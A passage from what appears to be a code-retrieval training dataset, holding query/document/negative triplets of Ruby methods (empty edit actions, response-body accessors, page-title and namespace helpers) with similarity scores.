]
}
}
|
[
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit\r\n end",
"def edit\r\n \r\n end",
"def edit_button_clicked\n\n\t\t\t# Set flag for edit mode, store \n\t\t\t@edited_item = @form.folderList.currentItem\n\t\t\n\t\t\t# Show and activate the child window\n\t\t\tshow_browse_form(@edited_item.text)\n\t\tend",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit \n end",
"def edit \n end",
"def edit\n \n end",
"def edit\n #Nothing necessary\n end",
"def edit\n puts \"******* edit *******\"\n end",
"def item_edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end",
"def edit\n end"
] |
[
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.6713958",
"0.64590836",
"0.6443192",
"0.64106625",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.6396278",
"0.63841957",
"0.63841957",
"0.63841957",
"0.63841957",
"0.63841957",
"0.63841957",
"0.63841957",
"0.63531417",
"0.63531417",
"0.6336468",
"0.6332659",
"0.6328554",
"0.63068825",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615",
"0.6301615"
] |
0.0
|
-1
|
Side effect: it returns the body
|
def set_cache(email, type, body)
@members[type] ||= {}
@members[type][email] = body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body()\n #This is a stub, used for indexing\n end",
"def body\n return @body\n end",
"def body\n nil\n end",
"def body_io; end",
"def body_io; end",
"def body\n return \"\"\n end",
"def body\n \"\"\n end",
"def body\n \"\"\n end",
"def body\n ''\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n @body ||= process_text(@raw_body)\n end",
"def body\n @raw\n end",
"def body\n fetch\n @body\n end",
"def body_content\n call_block\n end",
"def body=(body); end",
"def body\n source\n end",
"def body\n raise NotImplementedError, \"#{self.class} must implement #body!\"\n end",
"def body\n self['body']\n end",
"def body(*args)\n return @body if args.empty?\n @body = args.first\n end",
"def getBody\n @body\n end",
"def body\n @body || \"\"\n end",
"def body\n if defined? @body\n @body\n else\n Null\n end\n end",
"def body_content\n end",
"def body\n if !block_given?\n if @cached_body != nil\n return @cached_body\n end\n return @cached_body = ::Vertx::Util::Utils.from_object(@j_del.java_method(:body, []).call())\n end\n raise ArgumentError, \"Invalid arguments when calling body()\"\n end",
"def body\n self.read_body\n self.get_body\n end",
"def body\n self[:body]\n end",
"def body\n buffer = ''\n\n each { |chunk| buffer << chunk }\n return buffer\n end",
"def body\n @chunk\n end",
"def body\n part('body')\n end",
"def body\n @output_buffer\n end",
"def body\n @body_io.read.tap { @body_io.rewind }\n end",
"def body\n if @parsed_body\n parsed_body.to_s\n else\n @body\n end\n end",
"def finish\n\t\t\t\t\tif @body\n\t\t\t\t\t\tbody = @body.finish\n\t\t\t\t\t\t@body = nil\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn body\n\t\t\t\t\tend\n\t\t\t\tend",
"def response_body=(_arg0); end",
"def clone_body; end",
"def body(&block)\n call_once\n if block_given?\n yield body\n else\n @body\n end\n end",
"def response_body; end",
"def response_body; end",
"def original_body\n @original_body\n end",
"def body_content\n raise NotImplementedError\n end",
"def request_body\n # rewind in case anything in the past has left this un-rewound \n request.body.rewind\n request.body.read.tap do\n # rewind in case anything in the future expects this to have been left rewound \n request.body.rewind\n end\n end",
"def body\n @body ||= begin\n body = \"\"\n while chunk = readpartial\n body << chunk\n end\n body\n end\n end",
"def body\n @body ||= Page.convert_raw_to_html(raw_body)\n end",
"def body\n data[:body]\n end",
"def getBody\n body = \"\"\n @body.each { |part| body << part }\n body\n ensure\n @body.close if @body.respond_to?(:close)\n end",
"def get_body\n request_object.body\n end",
"def body\n process_message_body if !@body\n @body\n end",
"def body\n @response.body if success?\n end",
"def body\n last_response.body\nend",
"def body body=nil\n @response.body = body if body\n @response.body\n end",
"def parsed_body\n @body\n end",
"def body\n description\n end",
"def body\n read_attribute(:body) || ''\n end",
"def protect_body body\n if @return\n <<-BRAT\n protect {\n #{body}\n }\n rescue: { e |\n true? e.type == :return\n { e.return_value }\n { throw e }\n }\n BRAT\n else\n body\n end\n end",
"def body\n @body ||= begin\n begin\n io = Java.java_to_ruby(\n org.jruby.RubyIO.new(JRuby.runtime, entity.content).java_object\n )\n io.read\n rescue Exception => e\n puts \"Error in Response#body: #{e.message}\"\n end\n end\n end",
"def body\n Node::Block.new([return_operation])\n end",
"def body_raw\n @body_raw ||= body(true).read\n @body_raw\n end",
"def body\n @funcT.body\n end",
"def body\n remote[:body] || reload.remote[:body]\n end",
"def body(value = nil)\n if value\n @body = value\n else\n @body\n end\n end",
"def text\n self.body\n end",
"def getBody()\n return @req.body\n end",
"def transforming_body_expr; end",
"def quick_body\n @raw[1..-1] || \"\"\n end",
"def body\n @binding&.body || \"\"\n end",
"def body\n if @http_response != nil \n @body = @http_response.body\n end\n @body\n end",
"def text\n @body\n end",
"def read\n\t\t\t\t\tif @body\n\t\t\t\t\t\tbuffer = @body.join\n\t\t\t\t\t\t@body = nil\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn buffer\n\t\t\t\t\tend\n\t\t\t\tend",
"def body\n @body ||= reader_doc.content(true).strip\n end",
"def body\n content.gsub(/\\s*---\\s*/, \"\\n\\n\")\n end",
"def body\n ret = read_attribute(:body)\n if ret.nil?\n return ret\n end\n ret = ret.strip\n ret = ret.gsub(/(?:\\n\\s*){2,}/, \"\\n\\n\") # remove excess linebreaks that unnecessarily space it out\n ret\n end",
"def body\n @response.body\n end",
"def body\n @response.body\n end",
"def body\n response.body || ''\n end",
"def body(value = nil)\n if value\n self.body = value\n# add_encoding_to_body\n else\n process_body_raw if @body_raw\n @body\n end\n end",
"def cooked_body\n raw_body.preprocess\n end",
"def body=(_arg0); end",
"def body=(_arg0); end",
"def to_s\n body\n end",
"def finish\n\t\t\t\t\t@body.finish\n\t\t\t\tend",
"def body\n connection.get(@url.path).body\n end",
"def body\n @body ||= @request.body.read\n end"
] |
[
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.8257663",
"0.80816543",
"0.8049177",
"0.7921012",
"0.77249455",
"0.77249455",
"0.76641273",
"0.76193905",
"0.76193905",
"0.7583044",
"0.75033003",
"0.75033003",
"0.75033003",
"0.75033003",
"0.7497701",
"0.7477791",
"0.7472665",
"0.7468342",
"0.745361",
"0.74529487",
"0.73960835",
"0.73912966",
"0.73129636",
"0.7310528",
"0.73053694",
"0.7285106",
"0.7259232",
"0.72575206",
"0.7253589",
"0.72188103",
"0.7192068",
"0.71896213",
"0.71785057",
"0.7168864",
"0.7143393",
"0.70376384",
"0.7025405",
"0.70237607",
"0.70191944",
"0.7005895",
"0.6991143",
"0.6991143",
"0.69896305",
"0.696774",
"0.69430417",
"0.69396764",
"0.69394964",
"0.69091326",
"0.69015783",
"0.687093",
"0.68657434",
"0.68459475",
"0.68387413",
"0.6834943",
"0.68125373",
"0.6810116",
"0.67410964",
"0.67362523",
"0.6730234",
"0.67120177",
"0.67117244",
"0.66579366",
"0.66546434",
"0.66488886",
"0.6632611",
"0.66052437",
"0.6605141",
"0.65990007",
"0.6579438",
"0.6567693",
"0.6565022",
"0.65519804",
"0.653906",
"0.6519959",
"0.6510046",
"0.6507041",
"0.6507041",
"0.6469477",
"0.6468371",
"0.6459021",
"0.64540815",
"0.64540815",
"0.64467955",
"0.64295655",
"0.64122796",
"0.64108765"
] |
0.0
|
-1
|
Namespace number of the title to process.
|
def namespace(value)
merge(namespace: value.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def title\n content_from 'ns:title', :ns => self.registered_ns\n end",
"def namespace_id\n\t\t\t@data[\"namespace\"][\"id\"]\n\t\tend",
"def title\n @title ||= self.class.non_namespaced_classname\n end",
"def namespace\n return self.name ? self.name.downcase.gsub(/[^0-9A-Za-z ]/, '').gsub(' ', '-') : ''\n end",
"def namespace(n)\n only :job\n str! :namespace, n\n end",
"def title\n Window.functions[__method__] ||= AU3_Function.new(\"WinGetTitle\", 'SSPI')\n buffer = \" \" * AutoItX3::BUFFER_SIZE\n buffer.wide!\n Window.functions[__method__].call(@title.wide, @text.wide, buffer, AutoItX3::BUFFER_SIZE - 1)\n buffer.normal.strip\n end",
"def titleIdentifier\n titleIdentifier = title + ' / ' + author\n titleIdentifier\n end",
"def title()\r\n @window_title\r\n end",
"def name\n map_to_namespace(@name)\n end",
"def title\n node = @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRalias', a: NS)\n node ? node['value'] : \"Act #{num} of #{year}\"\n end",
"def full_title\n \"#{namespace}:#{title}\"\n end",
"def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end",
"def id_of_namespace(namespace)\n ret = RestClient.get \"#{@url}/namespaces?search=#{namespace}\", \n { \"Private-Token\": @token}\n json = JSON.parse(ret.body)\n\n json[0]['id']\n end",
"def full_title\n # if used default namespaces -> remove from full title\n if (self.namespace == '101') or (self.namespace == 'Concept')\n self.title\n else\n # else use normal building of full url\n self.namespace + ':' + self.title\n end\n end",
"def getPageNrForTitle(title)\n toc_len = @toc.css('item').length\n for i in 0..toc_len-1 do \n toc_title = @toc.css('item')[i]['title']\n pageNr = @toc.css('item')[i]['page']\n if title == toc_title\n return pageNr\n end\n end\n return \"xx\"\nend",
"def prefix(num)\n namespace + '_prefix_' + num.to_s\n end",
"def current_title\n evaluate(\"window.top.document.title\")\n end",
"def title\n evaluate(\"document.title\")\n end",
"def count_namespace\n @namespace_count += 1\n end",
"def doctitle\n # cached value\n return @doctitle if @doctitle\n\n if @header\n @doctitle = @header.title\n elsif @elements.first\n @doctitle = @elements.first.title\n end\n\n @doctitle\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def identifier_string\n title\n end",
"def identifier_string\n title\n end",
"def set_title\n unless self.title\n if self.parent\n if last_untitled_page = self.parent.children.where(:title => /Untitled /i).asc(:title).last\n last_untitled_number = last_untitled_page.title.split(\" \").last.to_i\n self.title = \"Untitled #{last_untitled_number+1}\"\n else\n self.title = \"Untitled 1\"\n end\n else\n self.title = \"Untitled 1\"\n end\n end\n end",
"def rank_title\n\t\tif (self.rank.nil?)\n\t\t\t\"\"\n\t\telse\n\t\t\tself.rank.title\n\t\tend\n\tend",
"def namespace\n self.class.new split(NAMESPACE_SEPARATOR).first\n end",
"def title\n @title ||= doc.search('.moviename-big').xpath('text()').text.strip\n end",
"def namespace_name\n @namespace_name ||= namespaces.join('::')\n end",
"def set_process_title\n Process.setproctitle(SERVER_PROCESS_TITLE) if Process.respond_to?(:setproctitle)\n end",
"def title\n @node[\"title\"]\n end",
"def title\n node.at(\"title\").text\n end",
"def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end",
"def year\n result = title.split('-')[0]\n result ? result.to_i : nil\n end",
"def page_title\n klass = Module.const_get(self.page.split('_').first)\n return klass.find(self.page.split('_').last.to_i).name || klass.find(self.page.split('_').last.to_i).title\n rescue NameError\n return self.page\n end",
"def year\n result = self.title.split('-')[0]\n result ? result.to_i : nil\n end",
"def set_title\n @title = File.basename(@absolute_path)\n @title.sub!(/^[0-9][0-9]-/, '')\n @title.gsub!(/_/, ' ')\n @title.gsub!(/-/, ', ')\n end",
"def title\n _title = self[\"title\"]\n _title ? _title[\"$t\"] : nil\n end",
"def title\n @title ||= Utilities.longest_common_substring_in_array(titles.values) \n @title = titles[:og_title] unless title_ok?\n @title = titles[:html_title] unless title_ok?\n @title = titles[:from_doc] unless title_ok?\n\n @title\n end",
"def title\n doc.css(\"titleproper\").children.first.text.strip\n end",
"def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend",
"def title\n @title ||= parsed_document.css('title').inner_text rescue nil\n end",
"def getWindowTitle\n @windowTitle\n end",
"def namespace\n @options[:space_name]\n end",
"def title\n t = _title.text_value.gsub(\"::\", \"\")\n t.blank? ? self.text : t\n end",
"def label_pageid(page_title)\n\t\tdefault_id = \"\"\n\t\tif page_title.empty?\n\t\t\tdefault_id\n\t\telse\n\t\t\t#remove spaces and downcase\n\t\t\t\"id=#{page_title.gsub(/ /, '').downcase}-page\"\n\t\tend\n\tend",
"def get_title\n @doc.css('title').text\n end",
"def request_number_by_title(title, repo=source_repo)\n request = current_requests(repo).find { |r| r.title == title }\n request.number if request\n end",
"def namespace\n object_id.to_s + \"/\"\n end",
"def title\n query_root_node(\"title/text()\")\n end",
"def title\n @data.title ||= parsed_document.css('title').inner_html.gsub(/\\t|\\n|\\r/, '') rescue nil\n end",
"def title\n @rdig_document.title\n end",
"def notename\n self.class.notename_s(notename_i)\n end",
"def incremented_hostname\n number = 1\n while similar_instances.include? \"#{themed_host_name}.#{domain}\"\n .sub(/#/, \"#{number}\")\n number += 1\n end\n \"#{themed_host_name}\".sub(/#/, \"#{number}\")\n end",
"def title title = nil\n if title\n @title = title.to_s\n else\n @title ||= name[/([^:]+)$/, 1]\n end\n end",
"def title\n { title: @doc.xpath('//h1').first.content }\n end",
"def title_word(html)\n @title_word ||=\n html.css('.di-title.cdo-section-title-hw .headword').first.text\n end",
"def titleStatement\n field(\"245\").first\n end",
"def getpid\n sax_document = SaxDocumentGetNextPID.new\n pid_doc = @repository.next_pid(:namespace => @namespace)\n Nokogiri::XML::SAX::Parser.new(sax_document).parse(pid_doc)\n return sax_document.pids.shift\n end",
"def default_title(prefix)\r\n suffix = 1\r\n while first(:title => \"#{prefix} #{suffix}\") do\r\n suffix += 1\r\n end\r\n \"#{prefix} #{suffix}\"\r\n end",
"def header_for_title\n output = \"-\" * @title.length\n end",
"def title_for(source)\n (source[N::DCNS.title].first || source[N::RDF.label].first || N::URI.new(source.uri).local_name.titleize)\n end",
"def title=(_arg0); end",
"def title=(_arg0); end",
"def title=(_arg0); end",
"def name\n\t\t\t\t@name ||= title.downcase.gsub(/\\s+/, UNDERSCORE).gsub(/[^a-z0-9_]/i, BLANK_STRING).to_sym\n\t\t\tend",
"def set_proc_title(title)\n $0 = title\n end",
"def title\n this_group = nil\n task_title = @task.title || ''\n colon = task_title.index( ':' )\n this_group = task_title[ 0..( colon - 1 ) ] unless ( colon.nil? )\n\n return this_group\n end",
"def namespace\n @namespace ||= [request.args.namespace_name, request.args.application_name].compact.join('-')\n end",
"def titler\n if @title.nil?\n $application_name\n else\n \"#{$application_name} : #{@title}\"\n end\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end",
"def page_title\n @page_title = \"Nursing System\"\n end",
"def const_name\n components = title.gsub(/\\W/,' ').split.collect {|word| word.strip.upcase }\n components.join '_'\n end",
"def currentWindowTitle\n begin\n return theBrowser.title\n rescue\n return nil\n end\n end",
"def scrape_title( page )\n\t\tpage.title.split( ' - ' )[0]\n\tend",
"def get_subject_name\n navigation_tabs.all_tabs.last[:title]\n end",
"def pid()\n #This is a stub, used for indexing\n end",
"def title\n @global_page.title\n end",
"def process_id\n\n\t\t::Pantheios::Core.process_id\n\tend",
"def title\n @title ||= heirarchy.full_name\n end",
"def title\n @entry.at_xpath('.//cda:title').inner_text\n end",
"def title\n @entry.at_xpath('.//cda:title').inner_text\n end",
"def namespace_for_url(url)\n self.hr_config.get_for_url(url, :namespace)\n end",
"def version_to_namespace(version)\n version.gsub('.', '')\n end",
"def window_titles\n @_window_titles\n end",
"def target2pid(target)\n target ? target[0..(@prefix_len - 1)] : Plezi.app_name\n end",
"def name\n (@name ||= namespace).to_s.underscore.symbolize\n end",
"def namespace\n @namespace.ns\n end",
"def default_base_title\n Rails.application.class.to_s.split('::').first\n end",
"def title\n @doc.title || DEFAULT_TITLE\n end",
"def seo_title\n if meta_title.blank?\n root? ? name : \"#{root.name} - #{name}\"\n else\n meta_title\n end\n end",
"def site_name\n begin\n site_name = @nokogiri.title.split(/#{WebStat::Configure.get[\"regex_to_sprit_title\"]}/, 2).last\n rescue\n site_name = @nokogiri.title\n end\n if site_name.nil?\n \"No Sitename\"\n else\n site_name.strip\n end\n end",
"def suffix(num)\n namespace + '_suffix_' + num.to_s\n end",
"def ns(doc,identifier)\n\tdoc.xpath(identifier).text\nend",
"def parse_pid(pr)\n pr.split[1]\n end",
"def page_title(page_title)\n content_for_layout :page_title, page_title\n end",
"def number\n @file_name.split('_').last[1..-1].to_i\n end",
"def title()\n @markdown_document.title()\n end"
] |
[
"0.6552479",
"0.6345024",
"0.6097244",
"0.60953987",
"0.59459877",
"0.5924268",
"0.59033054",
"0.5895847",
"0.5864385",
"0.5797122",
"0.57704514",
"0.5766478",
"0.57368547",
"0.5719667",
"0.57073736",
"0.57063454",
"0.56859016",
"0.56839156",
"0.5677884",
"0.5669386",
"0.5668287",
"0.5668287",
"0.56606954",
"0.56606954",
"0.56535155",
"0.56475174",
"0.5637407",
"0.5634316",
"0.56046087",
"0.55823535",
"0.557378",
"0.55727506",
"0.5562933",
"0.5561161",
"0.5547821",
"0.5534876",
"0.55316895",
"0.55226344",
"0.5520952",
"0.5508981",
"0.550634",
"0.55011845",
"0.5501181",
"0.54984695",
"0.54886633",
"0.5480886",
"0.5470729",
"0.54622966",
"0.546026",
"0.5449645",
"0.54457724",
"0.5420577",
"0.54036015",
"0.5402426",
"0.5399236",
"0.53913194",
"0.5390699",
"0.53884166",
"0.5382993",
"0.5372076",
"0.5368861",
"0.5367069",
"0.5366964",
"0.5366964",
"0.5366964",
"0.53647375",
"0.53601325",
"0.535882",
"0.53559685",
"0.53542054",
"0.534383",
"0.534383",
"0.534383",
"0.5340438",
"0.5337884",
"0.53319937",
"0.53269947",
"0.5322698",
"0.5321164",
"0.5316389",
"0.5305122",
"0.5296278",
"0.52952254",
"0.5293899",
"0.5293899",
"0.529119",
"0.5281805",
"0.528168",
"0.52800983",
"0.5280019",
"0.52782536",
"0.5277313",
"0.52772695",
"0.52689546",
"0.5267739",
"0.5263585",
"0.5260038",
"0.5256233",
"0.5256096",
"0.5254552",
"0.52529603"
] |
0.0
|
-1
|
Title to process without namespace prefix.
|
def title(value)
merge(title: value.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def full_title\n \"#{namespace}:#{title}\"\n end",
"def title\n @title ||= self.class.non_namespaced_classname\n end",
"def title\n content_from 'ns:title', :ns => self.registered_ns\n end",
"def set_proc_title(title)\n $0 = title\n end",
"def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend",
"def set_process_title\n Process.setproctitle(SERVER_PROCESS_TITLE) if Process.respond_to?(:setproctitle)\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def title=(_arg0); end",
"def title=(_arg0); end",
"def title=(_arg0); end",
"def full_title\n # if used default namespaces -> remove from full title\n if (self.namespace == '101') or (self.namespace == 'Concept')\n self.title\n else\n # else use normal building of full url\n self.namespace + ':' + self.title\n end\n end",
"def title\n name.gsub(/_/, ' ')\n end",
"def titleRsc _args\n \"titleRsc _args;\" \n end",
"def titler\n if @title.nil?\n $application_name\n else\n \"#{$application_name} : #{@title}\"\n end\n end",
"def title\n t = _title.text_value.gsub(\"::\", \"\")\n t.blank? ? self.text : t\n end",
"def title\n Window.functions[__method__] ||= AU3_Function.new(\"WinGetTitle\", 'SSPI')\n buffer = \" \" * AutoItX3::BUFFER_SIZE\n buffer.wide!\n Window.functions[__method__].call(@title.wide, @text.wide, buffer, AutoItX3::BUFFER_SIZE - 1)\n buffer.normal.strip\n end",
"def title\n base_title = app_name \n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n evaluate(\"document.title\")\n end",
"def title(*args)\n @title = args[0] if args.present?\n @title\n end",
"def title\n program = \"#{@config.program} - \" if @config.program\n \"#{program}#{exception.class}:#{exception.message}\"\n end",
"def title\n if has_local? :title\n locals[:title]\n else\n File.basename(logical_path).titleize\n end\n end",
"def title\n Sanitize.clean(name).strip\n end",
"def title\n name.capitalize.bold.sub('_', ' ')\n end",
"def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title title = nil\n if title\n @title = title.to_s\n else\n @title ||= name[/([^:]+)$/, 1]\n end\n end",
"def name\n method_missing(:title)\n end",
"def title!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 41 )\n\n type = TITLE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 176:9: 'title'\n match( \"title\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 41 )\n\n end",
"def title!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n\n type = TITLE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 323:8: 'title'\n match( \"title\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def update_proc_title(state)\n Process.setproctitle(\"gruf #{Gruf::VERSION} -- #{state}\")\n end",
"def full_title(page_title = '')\n base_title = \"RaptorQueue\"\n page_title.empty? ? base_title : page_title + \" | \" + base_title\n end",
"def title\n base_title = \"Cliqs\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n CGI::unescape(self.file_name).gsub(/\\.\\w+$/, '').titleize\n end",
"def handle_base\n title\n end",
"def set_title\n @title = File.basename(@absolute_path)\n @title.sub!(/^[0-9][0-9]-/, '')\n @title.gsub!(/_/, ' ')\n @title.gsub!(/-/, ', ')\n end",
"def title\n title_raw.downcase\n end",
"def title\n #CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n self[:file_name].gsub(/\\.\\w+$/, '').titleize rescue ''\n end",
"def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend",
"def extract_title_from(args)\n a = args.join(\" \").tr(\"\\\\\", \"/\").split(\"/\").last\n a.split.map(&:capitalize).join(\" \")\n end",
"def title\n base_title = \"This app is a Toast Machine\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n #Flip off the part after the last dot, including that dot: find the filename without extensions\n fragments = @filename.split('.')\n fragments.pop\n title = fragments.join('.')\n\n return title.gsub(/[_]/, ' ').capitalize\n end",
"def full_title(page_title = '')\n base_title = \"NKUNet\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def page_title\n \n page_title = @renderer.title title()\n \n puts \"[Cutlist.page_title]: #{page_title}\" if $cutlister_debug\n \n page_title\n \n end",
"def title\n node.at(\"title\").text\n end",
"def full_title(page_title)\n if page_title.empty?\n app_name\n else\n \"#{page_title} | #{app_name}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"Scheduler\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\".html_safe\n\t\tend\n\tend",
"def title\n self.class.title(nil, params)\n end",
"def title\n @data.title ||= parsed_document.css('title').inner_html.gsub(/\\t|\\n|\\r/, '') rescue nil\n end",
"def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend",
"def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end",
"def title\n _title = self[\"title\"]\n _title ? _title[\"$t\"] : nil\n end",
"def title_for(source)\n (source[N::DCNS.title].first || source[N::RDF.label].first || N::URI.new(source.uri).local_name.titleize)\n end",
"def title\n @node[\"title\"]\n end",
"def titleText _args\n \"titleText _args;\" \n end",
"def full_title(page_title = '')\n base_title = app_name\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def autotitle\n [:controller, :action].map { |e| params[e].to_s.singularize.titleize }.join(\" · \").html_safe\n end",
"def title_comp=(_arg0); end",
"def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end",
"def title\n base_title = 'Statustar'\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title()\r\n @window_title\r\n end",
"def title\n doc.css(\"titleproper\").children.first.text.strip\n end",
"def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def title\n base_title = t(\".base_title\", :default => \"peergroup\")\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{h(@title)}\"\n end\n end",
"def title\n query_root_node(\"title/text()\")\n end",
"def seo_title\n if meta_title.blank?\n root? ? name : \"#{root.name} - #{name}\"\n else\n meta_title\n end\n end",
"def title(title)\n filename(title)\n @methods[:title] = title\n end",
"def set_title\n @title = \"#{controller_name}.#{action_name}.title\"\n end",
"def title\n filename.nil? ? nil : File.basename(filename)\n end",
"def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def page_title() nil end",
"def title\n return nil\n end",
"def getWindowTitle\n @windowTitle\n end",
"def title\n base_title = \"Golo\"\n if@title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end",
"def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end",
"def title\n @title ||= heirarchy.full_name\n end",
"def title\n name.demodulize.titleize\n end",
